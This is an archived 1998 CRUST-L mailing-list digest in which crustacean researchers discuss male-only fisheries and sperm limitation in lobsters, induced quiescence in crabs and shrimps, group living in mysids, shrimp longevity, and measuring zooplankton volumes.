=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jay Odell Date: Fri, 29 May 1998 12:46:41 -0700 Subject: CRUST-L: Male-only fisheries...? Dave: Some have maintained that male only harvest strategies for crab are an artifact of updland game management practices that may be more appropriate for K-selection than R-selection type animals. However, most Dungeness crab fisheries on the west coast of north america have been, for the most part, very well sustained under this type of management. A minimum size established to allow all males to reach sexual maturity before they may be legally harvested and retained and a prohibition on harvest of females seems to protect reproductive capacity. It helps that males are polygamous. Published and unpublished data indicates that females almost always mate with substantially larger males. This begs the questions of whether the larger females do not get inseminated because of the high exploitation (usually assumed to be over 90%) of legal size males, and whether this matters. These questions were addressed in a recent paper by Hankin et al. (Canadian Journal of Fisheries and Aquatic Sciences: 54: 655-669, 1997. This report suggests that egg production loss caused by harvest of larger males has a minimal impact on recruitment. The authors make a compelling argument based on study of a northern California population. However, the various parameters and feed back loops are complex. It would be interesting to evaluate whether fishery timing could be further adjusted to optimize opportunity for larger females to mate (seasons are currently established to minimize mortality to soft shell males due to cannibalism within traps and handling). Enough of my ramblings! Jay Odell odelljgo@dfw.wa.gov =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: owner-crust-l Date: Fri, 29 May 1998 15:52:46 -0400 Subject: [none] - ---------- Forwarded message ---------- Date: Fri, 29 May 1998 15:06:38 -0400 From: owner-crust-l@back.vims.edu To: owner-crust-l@back.vims.edu Subject: CRUST-L: BOUNCE crust-l@back.vims.edu: Non-member submission from [""Sean Avent"" ] Sender: owner-crust-l@back.vims.edu Precedence: bulk Reply-To: owner-crust-l@back.vims.edu >From jeff Fri May 29 15:06:26 1998 Received: from diana.sfsu.edu (diana.sfsu.edu [130.212.10.239]) by back.vims.edu (8.6.12/) with ESMTP id PAA28936 for ; Fri, 29 May 1998 15:06:24 -0400 Received: from [130.212.90.16] (rom90-16.sfsu.edu [130.212.90.16]) by diana.sfsu.edu (8.8.7/8.8.7) with SMTP id MAA12681; Fri, 29 May 1998 12:03:51 -0700 (PDT) Message-Id: <199805291903.MAA12681@diana.sfsu.edu> X-Mailer: Microsoft Outlook Express for Macintosh - 4.0a (190) Date: Fri, 29 May 1998 11:58:36 -0800 Subject: Re: Actograph From: ""Sean Avent"" To: Henrique Queiroga CC: crust-l@vims.edu Mime-version: 1.0 X-Priority: 3 Content-type: text/plain; charset=""ISO-8859-1"" Content-transfer-encoding: 7bit Henrique and other interested parties, Although I cannot provide info on the actograph realm, I can offer a differing solution that may or may not suit your needs: infrared video microscopy. To check out what kind of system we are using currently, try pointing your browser at: http://userwww.sfsu.edu/~bioocean/minitowers/minitower.html We are using a video-microscope in combination with 2-m tall minitanks to study vertical migration in zooplankters that are 0.25 mm to 5 mm. We have found this system to be pretty stable and easy to use after the initial setup process. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-==-=-=-= Sean Avent Oceanographic Technician San Francisco State University Romberg-Tiburon Center for Environmental Studies 3150 Paradise Drive, Box 855, Bldg. #36 Tiburon, CA 94920 voice: 415-338-3547 Fax: 415-435-7120 email: savent@sfsu.edu Http://userwww.sfsu.edu/~bioocean =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Henrique wrote: >I wish to construct an actograph based on infrared emitters and >detectors, for use with crab zoeae. My interest is to study >rhythmic vertical migrations of the larvae. The descriptions I >found in the literature, so far, are either inappropriate in the level >of technical detail they give, or concern actographs that are not >accurate enough to detect individual zoeae. > >Can anybody out there provide me references on devices of this kind >that can detect individual 1 mm (perhaps slightly less) crab zoeae? >Information on manufacturers of components would also be greatly >appreciated. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: John Christy Date: Sat, 30 May 1998 15:25:07 -0400 Subject: CRUST-L: Quiescent Crabs Hi All, Just to add to the mix - Male fiddler crabs that mate on the surface with their neighbors, ""court,"" first with rapid leg taps or scratches typically directed to the sides of the females carapace, then with extensive stroking/scratching with their minor claw around the females orbits, retracted eye stalks, and anterior third or so of her carapace (top and sides). I had thought they might be tasting urine but perhaps, as suggested by recent postings, this tactile stimulation simply has a ""calming"" effect. It may be a way males tip the scales a bit relative to a male-female conflict of interest during mating. Mating pairs are remarkably tolerant of stimuli that normally startle them, and thus they probably are at additional predation risk. My impression has been that it is the female that breaks off when a predator comes near, though the male has a greater distance to return to his burrow. So males may, by tickling females, increase their startle response threshold to match or exceed their own. Pure specualtive pap of course, but fun to think about. I will soon try tickling a female fiddler crab or two. Where on earth did this response come from and is it, as the post suggests, general? Is this an accident of how crusties are wired, or is there a reason (evolved function) to sit tight when tickled? Cheers, John =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #147 ***************************** >From owner-crust-l Thu Jun 4 09:15:56 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id JAA28664 for crust-l-digest-outgoing; Thu, 4 Jun 1998 09:13:27 -0400 Date: Thu, 4 Jun 1998 09:13:27 -0400 Message-Id: <199806041313.JAA28664@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #148 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 22 crust-l-digest Thursday, 4 June 1998 Volume 01 : Number 148 Re: CRUST-L: Male-only fisheries...? Re: CRUST-L: Male-only fisheries...? CRUST-L: RE: Induced lethargy in crabs CRUST-L: Living in groups Re: CRUST-L: Living in groups CRUST-L: Quiescent shrimps CRUST-L: Marco Vaninni Re: CRUST-L: Quiescent shrimps CRUST-L: Penaeus japonicus longevity CRUST-L: measuring volumes CRUST-L: cellulase CRUST-L: Pseudocuma gilsoni (fwd) CRUST-L: German Scholarship ---------------------------------------------------------------------- From: Caleb.Gardner@dpif.tas.gov.au Date: Mon, 1 Jun 1998 15:00:43 +1000 Subject: Re: CRUST-L: Male-only fisheries...? The rock lobster Jasus edwardsii fishery around Tasmania has a range of management devices in place including a minimum legal size. Growth rate of rock lobsters varies around the island so that females in the southern part of the state generally die before reaching legal size. We've had recaptures from females released over 17 years ago that have still not reached legal size. Males do reach legal size and this region has very high exploitation so most males are harvested in their first year above legal size. This has resulted in a skewed sex ratio which seems to be around 5 females for each male. Jac Gibson and Stewart Frusher have conducted a series of tank based trials to find the number of females that a male can successfully mate with. Mating occurs at the time of the female moult which is highly synchronised, so the males only had a short period to mate with females in tanks. Gibson and Frusher found that males in tanks could mate with at least 16 females which was reassuring. However there are other issues to be considered. For instance: tank trials force all animals into close proximity, this may not be typical of the natural situation; male lobsters need to be larger than females so most of the males in the wild population may not be of much use; the size of functional maturity of males has not been assessed in any population around Tasmania; the effect of sex ratios skewed to towards females on fecundity has not been tested (that is - do the males begin to run out of sperm so that fertilisation rate is reduced ?); and flucuations in recruitment could result in ratios of males to females dramatically different from what we've got at present. Of some concern is that we see occasional females during the winter months which we call RUT's - ""red under the tail"". These females have bright red haemolymph which causes the membrane on the ventral side of the abdomen to become red. From tank trials, it appears that this can occur when females haven't mated and they then resorb their ovary (and carotenoids in the developing oocytes). The presence of RUT females in samples from the south coast may be due to sperm limitation in this region. Caleb Gardner Research and Assessment Branch, Marine Research Laboratories (Taroona), Dept Primary Industry and Fisheries Tasmania PO Box 192B HOBART TAS 7000 e-mail : Caleb.Gardner@dpif.tas.gov.au Hi all, I am trying to ascertain the likely ecological implications of a policy which would prohibit the capture of female spiny lobsters in a moderate-sized (~ 2000 MT p.a.), directed, trap fishery for lobsters in shallow (5-100 m) coastal waters. The fishery is currently managed by means of a minimum legal size, which already forces it towards a male-dominated catch. Harvest proportions are around 30%. The literature provides contrasting opinions (mainly studies on crabs) on whether or not the potential reduction in abundance of large males (or alteration of sex ratio) will influence mating success. Any ideas? - - Dave Dave Schoeman Sea Fisheries Research Institute Private Bag X2 Rogge Bay 8012 Cape Town, South Africa Phone: (021) 4023127 http://www.gov.za/sfri/sf.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Caleb.Gardner@dpif.tas.gov.au Date: Mon, 1 Jun 1998 15:00:43 +1000 Subject: Re: CRUST-L: Male-only fisheries...? The rock lobster Jasus edwardsii fishery around Tasmania has a range of management devices in place including a minimum legal size. Growth rate of rock lobsters varies around the island so that females in the southern part of the state generally die before reaching legal size. We've had recaptures from females released over 17 years ago that have still not reached legal size. Males do reach legal size and this region has very high exploitation so most males are harvested in their first year above legal size. This has resulted in a skewed sex ratio which seems to be around 5 females for each male. Jac Gibson and Stewart Frusher have conducted a series of tank based trials to find the number of females that a male can successfully mate with. Mating occurs at the time of the female moult which is highly synchronised, so the males only had a short period to mate with females in tanks. Gibson and Frusher found that males in tanks could mate with at least 16 females which was reassuring. However there are other issues to be considered. For instance: tank trials force all animals into close proximity, this may not be typical of the natural situation; male lobsters need to be larger than females so most of the males in the wild population may not be of much use; the size of functional maturity of males has not been assessed in any population around Tasmania; the effect of sex ratios skewed to towards females on fecundity has not been tested (that is - do the males begin to run out of sperm so that fertilisation rate is reduced ?); and flucuations in recruitment could result in ratios of males to females dramatically different from what we've got at present. Of some concern is that we see occasional females during the winter months which we call RUT's - ""red under the tail"". These females have bright red haemolymph which causes the membrane on the ventral side of the abdomen to become red. From tank trials, it appears that this can occur when females haven't mated and they then resorb their ovary (and carotenoids in the developing oocytes). The presence of RUT females in samples from the south coast may be due to sperm limitation in this region. Caleb Gardner Research and Assessment Branch, Marine Research Laboratories (Taroona), Dept Primary Industry and Fisheries Tasmania PO Box 192B HOBART TAS 7000 e-mail : Caleb.Gardner@dpif.tas.gov.au Hi all, I am trying to ascertain the likely ecological implications of a policy which would prohibit the capture of female spiny lobsters in a moderate-sized (~ 2000 MT p.a.), directed, trap fishery for lobsters in shallow (5-100 m) coastal waters. The fishery is currently managed by means of a minimum legal size, which already forces it towards a male-dominated catch. Harvest proportions are around 30%. The literature provides contrasting opinions (mainly studies on crabs) on whether or not the potential reduction in abundance of large males (or alteration of sex ratio) will influence mating success. Any ideas? - - Dave Dave Schoeman Sea Fisheries Research Institute Private Bag X2 Rogge Bay 8012 Cape Town, South Africa Phone: (021) 4023127 http://www.gov.za/sfri/sf.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Grant Blank Date: Sun, 31 May 98 19:36:55 PDT Subject: CRUST-L: RE: Induced lethargy in crabs Hi all, I have been following some of the conversations as a subscriber for a few months and finally I have something to add. While working as a volunteer out at the Bodega Bay Marine lab I remember the facility manager (Art Hertz) putting American lobsters (Homarus)in this ""so called"" trance like state and sitting them upside down on one of the lab tables. Once he would flip them back over it would take a few seconds before the animal would ""come to"" I often thought that it was unfortunate that no one knew what the mechanism is or what chemicals may be released during this process because it sure would have made it easier on me when taking haemolymph samples on lobsters without bands on their claws. On another note: Colin Mclay wrote how excessive handling of male Heterozious rotundifrons causes them to spread their chelipeds to the fullest extent and become completely paralytic. Could this be some sort of defense strategy...perhaps a crab is simply making itself harder for a predator to swallow. Also, Iam not sure if Iam using this term right (please correct me if I am wrong), but this almost sounds like some form of ""tonic inhibition"" where a prey will freeze followed by a burst of movement away from a potential predator. Best Wishes, Grant P.S. Hello Jeff Shields. Not sure if you remember me or not but we stayed in Miwock at Bodega Bay around the same time. I was working with Ernie Chang at the time (Aggression in female lobsters) - ------------------------------------- Name: Grant Blank E-mail: Grant Blank Department of Agriculture & Natural Resources Delaware State University Dover, DE 19901-2277 Phone: (302) 739-5189 FAX: (302) 739-4997 Date: 5/31/98 Time: 7:36:55 PM Visit Delaware State University on the Web http://WWW.DSC.EDU - ------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: David.Ritz@utas.edu.au (David Ritz) Date: Tue, 2 Jun 1998 10:39:30 +0100 Subject: CRUST-L: Living in groups Hi All, I work on swarming and schooling behaviour in aquatic crustaceans particularly mysids and euphausiids. I'm struck by the fact that others working on animals that are obligately gregarious often hold their experimental subjects singly or in groups too small to constitute aggregations. This approach seems to ignore the possibility that the close presence of conspecifics might alter the behaviour or physiology in some important way(s). It is known that individuals in small groups of social species behave differently to those in large groups. For example, schooling fish in small groups forage less succesfully, spend less time feeding and presumably would grow more slowly than those in large groups. Mysids in small groups also feed less successfully than those in large groups. Does anyone have data on a comparison between solitary and group response for such functions as food intake, gut passage time, heart rate, oxygen uptake, moulting etc.? David Ritz D.A. Ritz Telephone 03 6226 2614 (office) Associate Professor Facsimile 03 6226 2745 Department of Zoology (When calling from overseas use University of Tasmania international access code and then replace GPO Box 252-05 03 by 613) Hobart Tasmania Australia 7001 E-mail: David.Ritz@utas.edu.au World Wide Web Pages David Ritz: http://www.utas.edu.au/docs/zoology/ritz.html Zoology Department: http://www.utas.edu.au/docs/zoology/homepage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: wdaniels@dsc.edu Date: Tue, 2 Jun 98 07:12:50 -0500 Subject: Re: CRUST-L: Living in groups - --- On Tue, 2 Jun 1998 10:39:30 +0100 David Ritz wrote: Hi All, I work on swarming and schooling behaviour in aquatic crustaceans particularly mysids and euphausiids. I'm struck by the fact that others working on animals that are obligately gregarious often hold their experimental subjects singly or in groups too small to constitute aggregations. This approach seems to ignore the possibility that the close presence of conspecifics might alter the behaviour or physiology in some important way(s).... David Ritz - ---------------End of Original Message----------------- David, Holding gregarious animal individually does not necessarily ignore the effects of their behaviour but can be used to eliminate or minimize that effect. For example, with many crustaceans growth will be hetergeneous as groups and more homogeneous as individuals. This allows one to eliminate ""error"" in experimental design and allow one to look at a limited number of factors (e.g., nutritional requirements). Bill - -------------------------------------------------------- Bill Daniels Research Assistant Professor/ Extension Specialist, Aquaculture 1200 N. Dupont Hwy. Dept. of Agriculture & Natural Resources Delaware State University Dover, DE 19901-2277 (302)-739-6944 (phone) (302)-739-2014 (fax) E-mail: wdaniels@dsc.edu Date: 06/02/98 Time: 07:12:50 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Steve Arnott Date: Tue, 02 Jun 1998 13:49:55 +0100 Subject: CRUST-L: Quiescent shrimps Hello all, I've been following the discussion on quiescent animals with interest. In a message a couple of days ago, the question arose as to the evolutionary significance of such a response. With respect to this, there appears to be a strong advantage gained from a type of quiescence which affects the tail-flip behaviour of crayfish, lobsters, shrimps and other such crustaceans. In a paper by Krasne and Wine in 1975 (J. exp Biol, vol 63, pp433-450), they found that tail-flips were severely suppressed in crayfish held by the thorax. However, on loosening one's grip, a tail-flip immediately occurred. I've noticed a similar type of response in the European brown shrimp, Crangon crangon (quite useful for transferring shrimps from tank to tank without exhausting them). In experiments in which relatively small cod predated upon shrimp, the significance of the quiescence became apparent. When a cod captures a shrimp large enough to require manipulation in the mouth before swallowing, the cod often swims around with the shrimp in its mouth, periodically stopping to readjust the shrimp into a position from which it can be swallowed. Whilst it is being carried around, the shrimp generally remains pretty still, but the instant the cod tries to transfer its grip, a tail-flip occurs, allowing the shrimp to escape (escape success increases with relative shrimp size). This appears to be a nifty trick which takes the cod by surprise and enhances the shrimp's chances of survival. Steve Arnott. ==================================== Stephen A. Arnott Division of Environmental & Evolutionary Biology Graham Kerr Building University of Glasgow Glasgow, G12 8QQ Scotland, U.K. Email: gbzv61@udcf.gla.ac.uk Tel: 0141 339 8855, ext. 5151 Fax: 0141 330 5971 ==================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Dave O'Neill"" Date: Tue, 02 Jun 1998 11:26:11 -0400 Subject: CRUST-L: Marco Vaninni Hello all: If anyone has Marco Vannini's e-mail, would you please send it to me. Thanks. Dave O'Neill =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Gregory Jensen Date: Tue, 2 Jun 1998 10:25:37 -0700 (PDT) Subject: Re: CRUST-L: Quiescent shrimps Hi Very interesting- I've noticed a similar suppression of the tail-flip response in hippolytid shrimps held by fish. Some years ago a commercial fisherman tried to show me how he could ""put Dungeness crabs to sleep"" by stroking the underside, but the demonstration wasn't particularly impressive- certainly nothing like standing a lobster on its nose. The behavior described for lobsters reminds me of the response you get when you stroke the belly of an anolis, iguana or other lizard, and I wonder if anyone knows the mechanism involved in that case. It also brings to mind the ""Far Side"" cartoon of a husband and wife- their canoe being eaten by a giant crocodile- and the wife screaming ""Rub his belly, Ernie, rub his belly!"" Greg Jensen University of Washington On Tue, 2 Jun 1998, Steve Arnott wrote: > Hello all, > > I've been following the discussion on quiescent animals with interest. > In a message a couple of days ago, the question arose as to the > evolutionary significance of such a response. With respect to this, there > appears to be a strong advantage gained from a type of quiescence which > affects the tail-flip behaviour of crayfish, lobsters, shrimps and other > such crustaceans. In a paper by Krasne and Wine in 1975 (J. exp Biol, vol > 63, pp433-450), they found that tail-flips were severely suppressed in > crayfish held by the thorax. However, on loosening one's grip, a tail-flip > immediately occurred. I've noticed a similar type of response in the > European brown shrimp, Crangon crangon (quite useful for transferring > shrimps from tank to tank without exhausting them). In experiments in which > relatively small cod predated upon shrimp, the significance of the > quiescence became apparent. When a cod captures a shrimp large enough to > require manipulation in the mouth before swallowing, the cod often swims > around with the shrimp in its mouth, periodically stopping to readjust the > shrimp into a position from which it can be swallowed. Whilst it is being > carried around, the shrimp generally remains pretty still, but the instant > the cod tries to transfer its grip, a tail-flip occurs, allowing the shrimp > to escape (escape success increases with relative shrimp size). This > appears to be a nifty trick which takes the cod by surprise and enhances > the shrimp's chances of survival. > > Steve Arnott. > > > ==================================== > Stephen A. Arnott > Division of Environmental & Evolutionary Biology > Graham Kerr Building > University of Glasgow > Glasgow, G12 8QQ > Scotland, U.K. > > Email: gbzv61@udcf.gla.ac.uk > Tel: 0141 339 8855, ext. 5151 > Fax: 0141 330 5971 > ==================================== > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Antonio Medina Guerrero Date: Tue, 02 Jun 1998 12:51:09 +0100 Subject: CRUST-L: Penaeus japonicus longevity Dear CRUSTLers, We are carrying out a quantitative study of the age pigment (lipofuscin) accumulation in brains of Penaeus japonicus cultured in ponds. The oldest specimens we used were 1.3 y old, but from the analysis of the data, we would estimate that under our experimental conditions the theoretical maximum age to be reached in this species is about 3-3.5 years. Is this a good approach? Does anyone out there know the estimated longevity of this species? Thanks in advance for your help. Antonio. Antonio Medina Dpto. de Biolog=EDa Animal, Biolog=EDa Vegetal y Ecolog=EDa, Facultad de Ciencias del Mar, Phone: +34 956 470833; Fax: +34 956 470834 E-11510 Puerto Real, C=E1diz, Spain =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Keli Kringel Date: Tue, 2 Jun 1998 11:18:59 -0700 (PDT) Subject: CRUST-L: measuring volumes Dear Crust-lers, Has anyone had any success at measuring the body-volumes of individual, tiny zooplankton? In order to link some plankton samples I have (taken with a 0.5mm mesh net) to high-frequency acoustic data showing abundance of different size classes of organisms, I am seeking to obtain a distribution of body size, as volume, of the crustacean organisms in my samples. The plankton was composed of mostly crab and shrimp zoea, but also included copepods and barnacle nauplii, and many other things. The very smallest critter in my sample has a body size of about 0.005 mm^3 or 5 nanoliters. Ideally something with which I could measure the size of individuals from the samples with a resolution of 1 nanoliter is sought. I have thought of trying to bracket their specific gravity and using a ""microgram balance"". Or (although I am not sure what equipment to use) measuring cross-sections from many different angles (lazer?) and having a computer interpolate the volume from the geometry. If you have any suggestions, ideas, or information on this, or if you have ever attempted it yourself, I would greatly appreciate hearing about it. (Also, the samples have been fixed in formalin and are stored in ethanol.) Thank you! Keli Kringel UW Oceanography =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Grant Cameron Liddy Date: Wed, 3 Jun 1998 11:30:57 +1100 (EDT) Subject: CRUST-L: cellulase I am doing some work on nutrition with the yabby (Cherax destructor), and as a part of this I want to determine if the yabby has the ability to break down cellulose. I was wondering if anyone has done work on trsting for the presence of cellulase activity, and if so how did the go about doing it? Thanking you Grant =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 3 Jun 1998 09:01:15 -0400 (EDT) Subject: CRUST-L: Pseudocuma gilsoni (fwd) Please respond to Jan Mees, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: ""Jan Mees"" Organization: Marine Biology To: crust-l@vims.edu Date: Wed, 3 Jun 1998 10:12:57 +0100 Subject: Pseudocuma gilsoni Reply-to: jan.mees@rug.ac.be Priority: normal 